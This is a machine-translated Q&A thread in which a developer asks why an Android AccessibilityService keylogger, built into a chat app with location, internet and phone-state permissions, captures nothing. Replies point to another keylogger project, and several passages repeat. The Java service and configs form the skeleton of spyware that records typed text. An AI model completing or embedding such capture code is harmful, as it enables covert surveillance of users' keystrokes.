Android应用程序上的可访问性服务问题
我正在开发一个Android应用程序(学术用途),作为该应用程序的一部分,我想集成一个键盘记录器。根据这个答案,我尝试使用AccessibilityService实现它。我的类名为Keylogger.java的代码如下:Android应用程序上的可访问性服务问题,android,android-studio,accessibilityservice,keylogger,Android,Android Studio,Accessibilityservice,Keylogger,我正在开发一个Android应用程序(学术用途),作为该应用程序的一部分,我想集成一个键盘记录器。根据这个答案,我尝试使用AccessibilityService实现它。我的类名为Keylogger.java的代码如下: import android.accessibilityservice.AccessibilityService; import android.util.Log; import android.view.accessibility.AccessibilityEvent; p
import android.accessibilityservice.AccessibilityService;
import android.util.Log;
import android.view.accessibility.AccessibilityEvent;
public class Keylogger extends AccessibilityService {
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
int tipo = event.getEventType();
switch(tipo) {
case AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED: {
String data = event.getText().toString();
System.out.println("data: " + data);
break;
}
case AccessibilityEvent.TYPE_VIEW_FOCUSED: {
String data = event.getText().toString();
System.out.println("data: " + data);
break;
}
case AccessibilityEvent.TYPE_VIEW_CLICKED: {
String data = event.getText().toString();
System.out.println("data: " + data);
break;
}
default:
break;
}
}
@Override
public void onInterrupt() {
}
@Override
public void onServiceConnected() {
Log.d("Keylogger", "Starting service");
}
}
清单文件如下所示:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
package="com.example.mychat">
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"></uses-permission>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"></uses-permission>
<uses-permission android:name="android.permission.INTERNET" ></uses-permission>
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.BIND_ACCESSIBILITY_SERVICE" />
<application
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:roundIcon="@mipmap/ic_launcher_round"
android:supportsRtl="true"
android:theme="@style/AppTheme">
<activity android:name=".MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<activity android:name=".ChatBoxActivity">
<intent-filter>
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<service android:name=".Keylogger"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
<meta-data
android:name="android.accessibilityservice"
android:resource="@xml/accessibility_service_config" />
</service>
</application>
最后是服务的配置文件:
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:packageNames=""
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFlags="flagDefault"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="100"
android:canRetrieveWindowContent="true"
android:canRequestFilterKeyEvents="true"
android:settingsActivity="" />
当我在设备上安装应用程序时,它工作正常(也就是说,我没有收到任何错误),我可以手动激活服务,进入“设置>>可访问性”。但接下来什么也没发生。我尝试了一切(启动其他应用程序并键入一些文本),但我在每个箱子上放置的打印不会显示出来。该应用程序可以做几件事,但据我所知,该服务应该能自动工作。我遗漏了什么?我怎样才能做对
提前谢谢你。
这是一个我以前使用过的安卓易用键盘记录器,它工作得很好
我想您可以将您的应用程序与键盘记录器进行比较,您可能会发现您的错误
这是一个我以前使用过的安卓易用键盘记录器,它工作得很好
我想你可以将你的应用程序与键盘记录程序进行比较,你可能会发现你的错误虽然该链接可能会回答这个问题,但最好解释一下答案中的关键部分。如果目标页面发生更改,链接可能会变得不可用。有关更多信息,请参阅和。虽然该链接可以回答问题,但最好在回答中解释基本部分。如果目标页面发生更改,链接可能会变得不可用。有关详细信息,请参阅和。